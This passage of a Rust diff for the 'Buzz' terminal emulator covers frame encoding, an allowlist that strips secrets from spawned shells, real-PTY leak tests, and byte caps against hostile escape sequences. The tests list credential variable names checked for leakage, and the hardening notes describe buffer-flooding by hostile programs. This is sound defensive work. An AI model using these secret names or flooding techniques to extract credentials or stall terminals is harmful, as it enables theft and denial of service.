/// does) or one cluster per `char`.
///
/// Exposed so consumers can assert it at a trust boundary rather than
/// restate it. The encoder checks it in debug builds on every frame.
pub fn counts_are_consistent(&self) -> bool {
self.cluster_count == 1 || usize::from(self.cluster_count) == self.text.chars().count()
}
}
/// Visual style of a span, as the renderer needs it.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub struct Style {
pub fg: u32,
pub bg: u32,
pub flags: u16,
}
/// One changed row.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct RowFrame {
pub line: usize,
/// Whether this row continues onto the next screen row without a hard
/// line break. Retained separately from visual style so copy serialization
/// can reconstruct logical lines without exposing geometry flags to spans.
pub wrapped: bool,
pub spans: Vec<Span>,
}
/// The cursor, carried separately from row content.
///
/// Upstream damages the cursor's line on every `damage()` call. If the cursor
/// travelled inside the row payload, every frame would carry a row rewrite for
/// a caret that moved one column. As its own plane it costs a few bytes and
/// leaves row dedup free to suppress the row.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct CursorFrame {
pub line: usize,
pub column: usize,
pub visible: bool,
}
/// One update for the renderer.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Frame {
pub rows: Vec<RowFrame>,
pub cursor: CursorFrame,
/// Whether the cursor plane changed since this encoder's previous frame.
/// Cursor movement can be the only visible effect of input (for example,
/// echoing a space over an already blank cell), so it independently makes
/// an incremental frame publishable.
pub cursor_changed: bool,
/// Whether the renderer should discard what it has and repaint.
pub full: bool,
/// The grid this frame describes. A change means the terminal was resized
/// and row indices refer to a different geometry than the previous frame's.
/// Carried so the consumer can detect that from the frame itself instead of
/// trusting that no resize overtook it in flight -- across a transport, a
/// frame captured before a resize can arrive after it.
pub viewport: crate::Viewport,
}
impl Frame {
/// True when there is nothing for the renderer to do.
pub fn is_empty(&self) -> bool {
self.rows.is_empty() && !self.cursor_changed && !self.full
}
}
/// Raw rows copied out from under the lock, awaiting encode.
pub struct RawFrame {
rows: Vec<(usize, Vec<Cell>)>,
cursor: CursorFrame,
full: bool,
viewport: crate::Viewport,
}
/// The grid line a screen row reads from.
///
/// The grid indexes the active area from 0 and scrollback with *negative*
/// lines, so scrolling back `n` lines means every screen row reads `n` lines
/// higher. At the live edge the offset is zero and this is the identity, which
/// is why the unscrolled path is unchanged rather than merely equivalent.
fn row_of(screen_row: usize, display_offset: usize) -> Line {
Line(screen_row as i32 - display_offset as i32)
}
/// Where the cursor sits on screen, given how far the viewport is scrolled
/// back.
///
/// The grid keeps the cursor in *active-area* coordinates, which do not move
/// when the user scrolls; the renderer paints *screen rows*, which do. The two
/// agree only at the live edge, so the conversion has to happen somewhere, and
/// it happens here rather than in the renderer -- the renderer is not told the
/// display offset, and giving it one would put this same arithmetic on the far
/// side of a transport.
///
/// Scrolling far enough pushes the cursor off the bottom of the viewport, and
/// then it is reported as not visible. Without that clamp a caret drawn at a
/// clamped row would sit on some unrelated line of history, which reads as
/// corruption rather than as scrollback.
fn cursor_frame(
cursor_point: alacritty_terminal::index::Point,
display_offset: usize,
screen_lines: usize,
shown: bool,
) -> CursorFrame {
let line = cursor_point.line.0.max(0) as usize + display_offset;
CursorFrame {
line: line.min(screen_lines.saturating_sub(1)),
column: cursor_point.column.0,
visible: shown && line < screen_lines,
}
}
/// Copy the damaged rows out of the terminal. **Runs under the lock; does no
/// encoding.** Keep this function boring — everything added here is lock hold.
pub fn capture(terminal: &mut crate::Terminal) -> RawFrame {
let viewport = terminal.viewport();
let display_offset = terminal.display_offset();
let term = terminal.term_mut();
let columns = term.columns();
let screen_lines = term.screen_lines();
let cursor_point = term.grid().cursor.point;
let shown = term
.mode()
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
// Upstream's partial iterator already reports **screen** rows: it offsets
// each damaged active-area line by the display offset and drops the ones
// that scrolling pushed off the bottom (`TermDamageIterator::new`). So both
// arms below speak the same coordinate, and `row_of` converts once.
let (lines, full) = match term.damage() {
TermDamage::Full => ((0..screen_lines).collect::<Vec<_>>(), true),
TermDamage::Partial(iter) => (
iter.map(|bounds| bounds.line)
.filter(|l| *l < screen_lines)
.collect(),
false,
),
};
let grid = term.grid();
let mut rows = Vec::with_capacity(lines.len());
for line in lines {
let row = &grid[row_of(line, display_offset)];
rows.push((line, row[..Column(columns)].to_vec()));
}
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
term.reset_damage();
RawFrame {
rows,
cursor,
full,
viewport,
}
}
/// Copy the **entire visible viewport**, leaving damage untouched.
///
/// This exists for subscribers that arrive mid-stream: attach, reattach, and
/// the successor side of a resize. Damage only describes what changed since
/// the last capture, so a newcomer that starts from [`capture`] sees whatever
/// happened to change next -- often just the cursor's line -- painted onto a
/// blank screen. Upstream's `mark_fully_damaged` is private, so an embedder
/// cannot ask for a full frame that way.
///
/// **It must not consume damage, and that is the load-bearing property.** The
/// incumbent subscriber's next [`capture`] has to still see its rows. If this
/// called `damage()`/`reset_damage()` it would steal them, and the incumbent
/// would freeze on stale content while a newcomer's full-frame test passed.
/// The absence of those two calls below is the mechanism; `snapshot_test.rs`
/// is the proof.
///
/// **Runs under the lock; does no encoding.** Costs a full grid copy rather
/// than a damaged-rows copy, so it belongs on attach, not in the frame loop.
pub fn capture_all(terminal: &mut crate::Terminal) -> RawFrame {
let viewport = terminal.viewport();
let display_offset = terminal.display_offset();
let term = terminal.term_mut();
let columns = term.columns();
let screen_lines = term.screen_lines();
let cursor_point = term.grid().cursor.point;
let shown = term
.mode()
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
let grid = term.grid();
let mut rows = Vec::with_capacity(screen_lines);
for line in 0..screen_lines {
let row = &grid[row_of(line, display_offset)];
rows.push((line, row[..Column(columns)].to_vec()));
}
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
// No `damage()` and no `reset_damage()`: see the note above.
RawFrame {
rows,
cursor,
// A snapshot *is* a repaint, and marking it full also resets the
// consumer's `Encoder` hashes, so its dedup state describes the grid it
// was actually given rather than a predecessor's.
full: true,
viewport,
}
}
/// Suppresses rows whose content did not actually change.
#[derive(Default)]
pub struct Encoder {
hashes: Vec<u64>,
cursor: Option<CursorFrame>,
}
impl Encoder {
pub fn new() -> Self {
Self::default()
}
/// Encode a captured frame. **Runs with the lock released.**
pub fn encode(&mut self, raw: RawFrame) -> Frame {
// A full frame invalidates the dedup cache. Both routes that produce
// one matter: a `mark_fully_damaged` from scroll/alt-swap, and a resize,
// where the cached hashes describe rows of a different width entirely.
if raw.full {
self.hashes.clear();
}
let mut rows = Vec::with_capacity(raw.rows.len());
for (line, cells) in raw.rows {
let hash = hash_cells(&cells);
if self.hashes.len() <= line {
self.hashes.resize(line + 1, 0);
}
if self.hashes[line] == hash {
continue;
}
self.hashes[line] = hash;
rows.push(RowFrame {
line,
wrapped: cells
.last()
.is_some_and(|cell| cell.flags.contains(Flags::WRAPLINE)),
spans: spans(&cells),
});
}
let cursor_changed = self.cursor != Some(raw.cursor);
self.cursor = Some(raw.cursor);
Frame {
rows,
cursor: raw.cursor,
cursor_changed,
full: raw.full,
viewport: raw.viewport,
}
}
}
fn hash_cells(cells: &[Cell]) -> u64 {
let mut hasher = DefaultHasher::new();
for cell in cells {
cell.c.hash(&mut hasher);
// Hash the *packed* colors, not the enum: this is the representation
// the renderer receives, so the dedup key cannot disagree with the
// wire encoding and suppress a row that actually changed on screen.
pack_color(cell.fg).hash(&mut hasher);
pack_color(cell.bg).hash(&mut hasher);
cell.flags.bits().hash(&mut hasher);
if let Some(zerowidth) = cell.zerowidth() {
zerowidth.hash(&mut hasher);
}
}
hasher.finish()
}
/// Group a row's cells into runs of uniform style and width.
///
/// A run continues only while style *and* width match, and a cell carrying
/// zerowidth marks is always emitted alone. Both breaks exist so the consumer
/// can compute each cluster's column as `column + i * width`; see [`Span`].
///
/// The width comparison is the only thing keeping widths uniform within a run:
/// [`Style`] deliberately excludes [`GEOMETRY_FLAGS`], so a style key cannot
/// break a run on width behind this check's back.
fn spans(cells: &[Cell]) -> Vec<Span> {
let mut spans: Vec<Span> = Vec::new();
// Whether the run in progress may still be extended. Kept here rather than
// on `Span` because it is grouping bookkeeping, not part of the wire shape.
let mut open = false;
for (column, cell) in cells.iter().enumerate() {
// A wide glyph occupies two cells: the character, then a spacer. The
// spacer carries no text of its own -- emitting its placeholder space
// would insert a phantom column after every CJK character or emoji.
if cell.flags.contains(Flags::WIDE_CHAR_SPACER) {
continue;
}
let style = style_of(cell);
let width = if cell.flags.contains(Flags::WIDE_CHAR) {
2
} else {
1
};
let zerowidth = cell.zerowidth();
let mut text = String::new();
text.push(cell.c);
if let Some(marks) = zerowidth {
text.extend(marks);
}
// A cluster with combining marks holds more `char`s than columns, so it
// cannot share a run: it is the one case where "one char per cluster"
// stops holding.
let joinable = zerowidth.is_none();
match spans.last_mut() {
// `cluster_count` is refused rather than wrapped when it would
// overflow: the run simply ends and a new span starts at this
// column, which the consumer's rule already handles.
Some(last)
if open
&& joinable
&& last.style == style
&& last.width == width
&& last.cluster_count < u16::MAX =>
{
last.text.push_str(&text);
last.cluster_count += 1;
}
_ => spans.push(Span {
column,
text,
width,
cluster_count: 1,
style,
}),
}
open = joinable;
}
// Enforced in release, not just in debug. This is a *wire* invariant: a
// span that violates it is undecodable by the rule in [`Span`], and the
// consumer's failure is silent misplacement of every cluster after it.
// A `debug_assert` here would vanish in exactly the build where that
// corruption ships. The cost is one pass over text already in cache --
// the same order as building the spans -- and it buys a loud, local
// failure instead of a renderer quietly drawing the wrong columns.
assert!(
spans.iter().all(Span::counts_are_consistent),
"cluster_count must be 1 or the span's char count"
);
spans
}
/// Flags describing where a cell sits in the grid rather than how it looks.
///
/// `WRAPLINE` marks the last cell of a row that wrapped; the three wide-char
/// bits mark a two-column glyph and its spacer. Neither says anything about
/// appearance.
///
/// These are excluded from [`Style`] so the style key means one thing: visual
/// attributes. Geometry travels in [`Span::width`], which is compared on its
/// own when grouping -- if these bits stayed in the key they would break runs
/// as a side effect and leave the width comparison untestable.
///
/// Composite visual aliases (`BOLD_ITALIC`, `DIM_BOLD`, `ALL_UNDERLINES`) are
/// deliberately not masked: those are appearance.
const GEOMETRY_FLAGS: Flags = Flags::WRAPLINE
.union(Flags::WIDE_CHAR)
.union(Flags::WIDE_CHAR_SPACER)
.union(Flags::LEADING_WIDE_CHAR_SPACER);
fn style_of(cell: &Cell) -> Style {
Style {
fg: pack_color(cell.fg),
bg: pack_color(cell.bg),
flags: cell.flags.difference(GEOMETRY_FLAGS).bits(),
}
}
/// Pack a color into a tagged u32 the renderer resolves against the theme.
///
/// Named and indexed colors stay symbolic rather than being resolved here:
/// the substrate must follow the user's chosen theme, so the palette belongs
/// to the renderer, not to a snapshot taken at damage time.
fn pack_color(color: alacritty_terminal::vte::ansi::Color) -> u32 {
use alacritty_terminal::vte::ansi::Color;
match color {
Color::Named(named) => 0x0100_0000 | named as u32,
Color::Indexed(index) => 0x0200_0000 | index as u32,
Color::Spec(rgb) => {
0x0300_0000 | ((rgb.r as u32) << 16) | ((rgb.g as u32) << 8) | rgb.b as u32
}
}
}
@@ -0,0 +1,85 @@
//! Environment fence for spawned PTY children.
//!
//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and
//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env
//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()`
//! `:74`), so a shell spawned with the default builder inherits **all** of it:
//! the user types `env` and reads the signing key off the screen.
//!
//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22)
//! demonstrates the failure mode this module exists to prevent. It removed
//! seven Hermit/macOS keys by denylist under a comment promising "a clean
//! environment" and passed 68 variables — including the nsec — to the child.
//! A denylist is only as current as the last time someone remembered to
//! extend it; it was correct for the polluted-`PATH` threat it was written
//! for and became a key-disclosure bug when the app started holding secrets.
//!
//! So: **allowlist, never denylist.** Clear the inherited environment
//! wholesale, then rebuild only what a terminal legitimately needs.
use portable_pty::CommandBuilder;
/// Keys the child is allowed to inherit from Buzz's own environment.
///
/// Deliberately minimal: each entry is something a shell genuinely cannot
/// function without, or that visibly degrades the session by its absence.
/// Anything not listed here does not reach the child, including keys that do
/// not exist yet — which is the property a denylist cannot offer.
const INHERIT_ALLOWLIST: &[&str] = &[
"HOME", // shell startup files, ~ expansion
"USER", // prompt expansion, `whoami`-adjacent tooling
"LOGNAME", // POSIX companion to USER
"LANG", // UTF-8 decoding of the child's own output
"LC_ALL", // explicit locale override, when set
"LC_CTYPE", // character classification; wide/emoji handling
"TZ", // timestamps in prompts and logs
"TMPDIR", // per-user temp dir; absence breaks many tools on macOS
];
/// Values Buzz sets on the child unconditionally, overriding any inherited
/// value. `TERM` in particular must describe *our* emulator, not whatever
/// terminal happened to launch the desktop app.
const OVERRIDES: &[(&str, &str)] = &[
("TERM", "xterm-256color"),
("TERM_PROGRAM", "Buzz"),
("COLORTERM", "truecolor"),
];
/// Applies the environment fence to `cmd`, returning it for chaining.
///
/// Ordering is load-bearing and the reverse fails silently: `env_clear()`
/// discards every accumulated entry, so clearing *after* populating yields a
/// child with an empty environment and no error anywhere. Clear first, then
/// rebuild.
///
/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and
/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we
/// actually spawn are different values in exactly the cases the resolution
/// fallback exists for — a Finder-launched app with no `$SHELL`, or a
/// `$SHELL` that fails the executable-regular-file check — so inheriting it
/// would tell the child it is running something it is not.
pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) {
// 1. Drop the inherited environment wholesale, secrets included.
cmd.env_clear();
// 2. Rebuild only the allowlisted keys that are actually present.
for key in INHERIT_ALLOWLIST {
if let Some(value) = std::env::var_os(key) {
cmd.env(key, value);
}
}
// 3. Apply Buzz's own terminal identity.
for (key, value) in OVERRIDES {
cmd.env(key, value);
}
// 4. PATH is supplied by the caller rather than inherited; see
// `path::user_shell_path`.
cmd.env("PATH", path);
// 5. The resolved shell, last. `CommandBuilder::as_command` writes its own
// `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our
// explicit entry is the one the child sees.
cmd.env("SHELL", shell);
}
@@ -0,0 +1,362 @@
//! Secret-leak gate for the environment fence.
//!
//! These tests spawn a real PTY child and read its actual environment. An
//! assertion against the `CommandBuilder` alone would be weaker: it would not
//! prove that what the builder holds is what the kernel hands the child.
use crate::env_fence::fence_env;
use crate::path::user_shell_path;
use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL};
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
use std::io::Read;
/// Secrets Buzz's own process holds. Sourced from the desktop crate's
/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated
/// rather than imported because this crate deliberately has no dependency
/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step.
const SECRET_KEYS: &[&str] = &[
"BUZZ_PRIVATE_KEY",
"NOSTR_PRIVATE_KEY",
"BUZZ_AUTH_TAG",
"BUZZ_API_TOKEN",
"BUZZ_ACP_PRIVATE_KEY",
"BUZZ_ACP_API_TOKEN",
"BUZZ_RELAY_URL",
];
const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK";
/// Uniquely-named executable seeded into Buzz's own PATH; the child must not
/// be able to run it.
const CANARY_BIN: &str = "buzz-hermit-canary-tool";
/// Creates a fixture file at `name` with `mode`, replacing any leftover from
/// a previous run.
///
/// The removal is not tidiness: a fixture written at mode `0o010` is not
/// writable by its own owner, so a second run in the same temp dir fails with
/// `Permission denied` before reaching a single assertion. Green on a fresh
/// runner, red on a persistent one — a test must not depend on which it got.
#[cfg(unix)]
fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf {
use std::os::unix::fs::PermissionsExt;
let path = std::env::temp_dir().join(name);
let _ = std::fs::remove_file(&path);
std::fs::write(&path, contents).expect("write fixture");
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture");
path
}
/// Runs `env` in a real PTY child under the full fence and returns its output.
fn fenced_child_environment() -> String {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell))
}
/// Runs `env` in a real PTY child and returns its raw output.
fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String {
child_command(build, "env")
}
/// Runs `script` in a real PTY child under `build`'s fence and returns the
/// child's output.
///
/// The child is a real process on a real PTY rather than an inspection of the
/// `CommandBuilder`: the builder is what we asked for, and the child's
/// `environ` is what the kernel actually delivered. Only the second one is the
/// property under test.
fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String {
let pty = native_pty_system();
let pair = pty
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty");
let mut cmd = CommandBuilder::new("/bin/sh");
build(&mut cmd);
cmd.arg("-c");
cmd.arg(script);
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drop(pair.slave);
let mut reader = pair.master.try_clone_reader().expect("reader");
let mut out = String::new();
reader.read_to_string(&mut out).expect("read child output");
child.wait().expect("wait");
out
}
/// Seeds this process with secrets so the fence has something to leak.
///
/// Note these are process-global; the tests that rely on them assert on a
/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the
/// developer's environment neither masks a failure nor causes one.
fn seed_secrets() {
for key in SECRET_KEYS {
std::env::set_var(key, format!("{CANARY}_{key}"));
}
}
#[test]
fn fence_keeps_secrets_out_of_the_child() {
seed_secrets();
let out = fenced_child_environment();
assert!(
!out.contains(CANARY),
"a reserved secret reached the child environment:\n{out}"
);
for key in SECRET_KEYS {
assert!(
!out.lines().any(|line| line.starts_with(&format!("{key}="))),
"{key} reached the child environment:\n{out}"
);
}
}
/// The other half of the assertion. A fence that clears in the wrong order
/// produces an empty environment: it passes the leak check above while
/// shipping a shell with no context and no error. Asserting only the negative
/// would ratify that bug.
#[test]
fn fence_still_delivers_the_terminal_contract() {
seed_secrets();
let out = fenced_child_environment();
for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] {
assert!(
out.lines().any(|line| line == format!("{key}={value}")),
"{key} missing from child environment:\n{out}"
);
}
assert!(
out.lines().any(|line| line.starts_with("PATH=")),
"PATH missing from child environment:\n{out}"
);
}
/// The fence must be exhaustive, not enumerated: a secret invented tomorrow
/// is excluded because it was never allowlisted. This is the property the
/// `feat/terminal` denylist could not offer.
#[test]
fn fence_excludes_keys_it_has_never_heard_of() {
std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY);
let out = fenced_child_environment();
assert!(
!out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"),
"an unknown key reached the child:\n{out}"
);
}
/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain
/// never becomes the user's shell toolchain.
///
/// The assertion is *reachability*, not a string comparison: we seed a
/// uniquely-named executable into this process's `PATH` and prove the child
/// cannot run it. A string check would pass a fence that inherited a
/// differently-spelled toolchain directory, and would fail a fence that
/// legitimately contained the substring; `command -v` asks the question the
/// user actually asks by typing a command name.
#[test]
fn child_path_is_free_of_buzz_toolchain() {
let dir = std::env::temp_dir().join("buzz-terminal-path-canary");
std::fs::create_dir_all(&dir).expect("canary dir");
let canary = dir.join(CANARY_BIN);
std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755))
.expect("chmod canary");
}
// Stand in for Hermit activation: Buzz's own PATH leads with a directory
// holding a tool the user does not have.
std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display()));
assert!(
is_executable_file(&canary),
"test setup: canary must be executable"
);
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let out = child_environment(|cmd| {
fence_env(cmd, &user_shell_path(), &shell);
});
let path_line = out
.lines()
.find(|line| line.starts_with("PATH="))
.expect("child has a PATH");
assert!(
!path_line.contains("buzz-terminal-path-canary"),
"Buzz's toolchain leaked into the child PATH: {path_line}"
);
// The reachability arm: run `command -v` for the canary inside the fence.
let resolved = child_command(
|cmd| fence_env(cmd, &user_shell_path(), &shell),
&format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"),
);
assert!(
resolved.contains("CANARY_UNREACHABLE"),
"a Buzz-only executable was reachable from the child shell: {resolved}"
);
}
/// `$SHELL` is honoured when it names an executable regular file.
#[test]
fn resolve_shell_prefers_a_valid_shell_env() {
assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh");
}
/// The other direction: an unset `$SHELL` must fall through to the **passwd
/// database**, not to the hardcoded fallback.
///
/// Asserting merely that the result is executable is vacuous — `/bin/sh` is
/// executable, so a resolver with the passwd step deleted entirely passes it.
/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker
/// assertion. The property is *equality with the passwd entry*, and the
/// discriminating-power guard below refuses to pass silently on a machine
/// where the two candidates coincide.
#[test]
fn resolve_shell_falls_through_to_passwd_not_the_default() {
let Some(passwd) = crate::shell::passwd_shell() else {
panic!("no usable passwd shell; this gate cannot run on this machine");
};
assert_ne!(
passwd, FALLBACK_SHELL,
"passwd shell equals the fallback, so this test cannot tell the \
passwd step from its absence; it must not report success"
);
assert_eq!(
resolve_shell(None),
passwd,
"an unset $SHELL did not resolve to the passwd entry"
);
}
/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one
/// passes portable-pty's own check and produces a child that dies with a Rust
/// runtime panic. Requiring an executable *regular file* is what closes it.
#[test]
fn resolve_shell_rejects_a_directory_that_passes_x_ok() {
let dir = std::env::temp_dir();
assert!(
!is_executable_file(&dir),
"a directory must not qualify as a shell"
);
assert_ne!(
resolve_shell(dir.to_str()),
dir.to_str().unwrap(),
"a directory $SHELL was accepted; the child would abort on spawn"
);
}
/// Raw mode bits are not effective executability: a self-owned regular file
/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and
/// running it gives `Permission denied`. The metadata half of the predicate
/// cannot see this; only the `access` half can.
#[test]
fn resolve_shell_rejects_a_file_the_user_cannot_execute() {
use std::os::unix::fs::PermissionsExt;
let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010);
let mode = std::fs::metadata(&path).expect("stat").permissions().mode();
assert!(
mode & 0o111 != 0,
"test setup: some class must hold an execute bit, else this arm \
cannot discriminate the mode check from the access check"
);
assert!(
!is_executable_file(&path),
"a file the effective user cannot execute was accepted as a shell"
);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// A non-executable regular file falls through as well.
#[test]
fn resolve_shell_rejects_a_non_executable_file() {
let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644);
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
}
/// The login convention is `-<basename>`, applied without inspecting the
/// shell's name. Any shell — including ones that do not exist yet — gets
/// login semantics from argv0 rather than from a flag we guessed.
#[test]
fn login_argv0_is_shell_neutral() {
for (shell, expected) in [
("/bin/zsh", "-zsh"),
("/usr/local/bin/fish", "-fish"),
("/opt/nu/bin/nu", "-nu"),
(FALLBACK_SHELL, "-sh"),
] {
assert_eq!(login_argv0(shell), expected);
}
}
/// The child must be told the shell we actually spawned, not the one Buzz
/// itself was launched under. Asserting `SHELL` is merely present would pass
/// for an inherited value, which is wrong in exactly the fallback cases.
#[test]
fn child_shell_is_the_resolved_shell_not_the_inherited_one() {
std::env::set_var("SHELL", "/definitely/not/a/real/shell");
let resolved = resolve_shell(std::env::var("SHELL").ok().as_deref());
assert_ne!(
resolved, "/definitely/not/a/real/shell",
"test setup: the bogus shell must not resolve"
);
let out = child_environment(|cmd| fence_env(cmd, &user_shell_path(), &resolved));
assert!(
out.lines().any(|line| line == format!("SHELL={resolved}")),
"child SHELL is not the resolved shell (expected {resolved}):\n{out}"
);
assert!(
!out.contains("/definitely/not/a/real/shell"),
"the inherited SHELL reached the child:\n{out}"
);
}
/// Guards the duplication of `RESERVED_ENV_KEYS` above. If the desktop crate
/// grows a new secret, this points at the file to update.
#[test]
fn reserved_keys_are_covered() {
// The list lives in its own file because `build.rs` `include!`s the same
// source (see `managed_agents/reserved_env_keys.rs`); read it there rather
// than through the module that includes it.
let source = include_str!("../../../src/managed_agents/reserved_env_keys.rs");
let declared: Vec<&str> = source
.lines()
.skip_while(|line| !line.contains("RESERVED_ENV_KEYS"))
.take_while(|line| !line.trim_start().starts_with("];"))
.filter_map(|line| line.trim().strip_prefix('"'))
.filter_map(|line| line.split('"').next())
.filter(|key| {
// Only identity/credential keys are in scope here: the rest of
// RESERVED_ENV_KEYS guards agent-config override, which cannot
// apply to a child that inherits nothing.
key.contains("PRIVATE_KEY")
|| key.contains("AUTH_TAG")
|| key.contains("API_TOKEN")
|| key.contains("RELAY_URL")
})
.collect();
assert!(!declared.is_empty(), "failed to parse RESERVED_ENV_KEYS");
for key in declared {
assert!(
SECRET_KEYS.contains(&key),
"{key} is a credential in RESERVED_ENV_KEYS but is not covered by \
this crate's SECRET_KEYS; add it here"
);
}
}
@@ -0,0 +1,262 @@
//! The two hardening fences, and the counters that prove they ran.
//!
//! A hostile program can hold the parser's synchronized-update buffer open
//! (BSU without ESU) or an OSC string open, and upstream will buffer without
//! bound. Two independent fences, both enforced on **byte counts** — never on
//! a clock, because a clock makes the bound depend on how fast the machine is:
//!
//! * **F1** aborts a synchronized update once its buffer reaches [`SYNC_CAP`].
//! * **F2** rebuilds the parser once [`OSC_BUDGET`] parser-visible bytes have
//! been charged without the parser returning to a clean state.
//!
//! F1 is also the interactive-latency fence. Without it a 2 MiB synchronized
//! frame releases into the parser in one call, holding the `Term` lock for
//! ~13 ms; with it the same frame arrives in 64 KiB pieces and renderer lock
//! acquisition drops from ~4.2 ms to ~29 us (146x). Deleting F1 regresses both
//! memory and latency.
/// Max bytes a synchronized update may buffer before it is aborted.
pub const SYNC_CAP: usize = 64 << 10;
/// Max parser-visible bytes chargeable before the parser is rebuilt.
pub const OSC_BUDGET: usize = 256 << 10;
/// Max cost-weighted work one [`crate::reader::Feeder::drain`] may spend
/// before returning, in cell-equivalents.
///
/// Derived, not chosen: measured worst-case density across the 2-D op sweep
/// is 16.9 ns/work (`erase_chars` at N=1, 80x24 -- the cheapest real callback,
/// where fixed dispatch cost dominates the single cell it touches), so a
/// 16.67 ms frame is ~988_000 work units. This is a quarter of that. The
/// remaining three quarters are headroom for lock acquisition, the counting
/// wrapper's own bookkeeping, and platforms slower than the one measured;
/// 16.9 ns/work is the max of a sample, not a proven ceiling, so it is not
/// spent to the last unit.
pub const WORK_BUDGET: u64 = 250_000;
/// Widest slice handed to the parser at once.
///
/// The floor is 1 byte and lives in [`slice_bytes_remaining`] rather than
/// here: on a grid whose worst atom exceeds the whole budget -- RIS at any
/// real scrollback depth -- no wider slice can promise to stop after the
/// callback that crosses. This cap is the other end, set at the throughput
/// plateau: plain-char parsing saturates by 64 bytes and is flat to 64 KiB
/// measured, so nothing above it buys anything and a larger value only
/// coarsens the cut.
pub const MAX_SLICE: usize = 256;
/// Bytes to hand the parser next.
///
/// The **only** slice-sizing function, deliberately: an earlier version of
/// this module also exported a `slice_bytes(columns, lines, scrollback)` that
/// the scheduler stopped calling when slices became remaining-aware, and the
/// fixtures went on asserting against it. The two disagreed exactly where the
/// floor bound -- reporting 4 where the engine used 1 -- so the preconditions
/// were describing a function no longer in the path. One function, one
/// answer, and every test asserts on what `drain` actually calls.
///
/// The rule: a slice of `N` bytes holds at most `N / atom_bytes` atoms, so
/// `remaining / densest` bytes cannot carry a drain past the budget.
///
/// `next_escape` is how far the next `ESC` is from the front of the tail.
/// This is the difference between a correct bound and an unusable one. Only
/// an escape can buy grid-sized work in two bytes; a run of ordinary
/// characters costs at most `columns` per byte (a wrapping line feed that
/// scrolls), which is four orders of magnitude cheaper than RIS. Pricing
/// plain text as though every byte might be RIS drops throughput from
/// 181 MB/s to 69 MB/s at the default scrollback -- measured -- while
/// bounding something that cannot happen. So a plain run is sliced against
/// the plain-byte cost and only the escape itself is metered against the
/// worst atom.
pub fn slice_bytes_remaining(
columns: usize,
lines: usize,
scrollback: usize,
spent: u64,
next_escape: usize,
) -> usize {
let remaining = WORK_BUDGET.saturating_sub(spent);
if next_escape > 0 {
// A plain run, and it stops at the escape: an escape sharing a slice
// with the text in front of it is how a callback runs *after* the one
// that crossed the budget, which is the overrun this bound exists to
// prevent. Worst case per plain byte is a line feed that scrolls,
// which resets one row: `columns`.
let per_byte = (columns as u64).max(1);
return ((remaining / per_byte) as usize).clamp(1, next_escape.min(MAX_SLICE));
}
// An escape starts here. `ESC c` is the densest at two bytes.
let densest = (max_atom_work(columns, lines, scrollback) / 2).max(1);
((remaining / densest) as usize).clamp(1, MAX_SLICE)
}
/// Work the single worst uninterruptible callback can cost on this grid.
///
/// This is the irreducible overrun past [`WORK_BUDGET`]: no scheduler outside
/// the parser can cut inside a callback, so a caller converting a work budget
/// into a time bound must add it.
///
/// It is `columns` because [`crate::units::Counting`] terminates CBT at its
/// first fixed point. Upstream's own loop is `N x columns` -- 82 ms for eight
/// bytes at 1600 columns -- and clamping `N` to `columns` only brings that to
/// `columns^2`, which at 1600 is 2.56M work, **10x the whole budget**: the
/// atom, not the budget, would decide the bound. Stopping at the fixed point
/// makes it `columns`, and the budget goes back to being the thing that sets
/// the bound. Every other callback is priced at or below `cells`, which is
/// larger, so this term never dominates.
pub fn max_atom_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
// RIS: both grids plus the primary's configured scrollback. This is the
// largest single callback by a wide margin -- 16x the budget at the
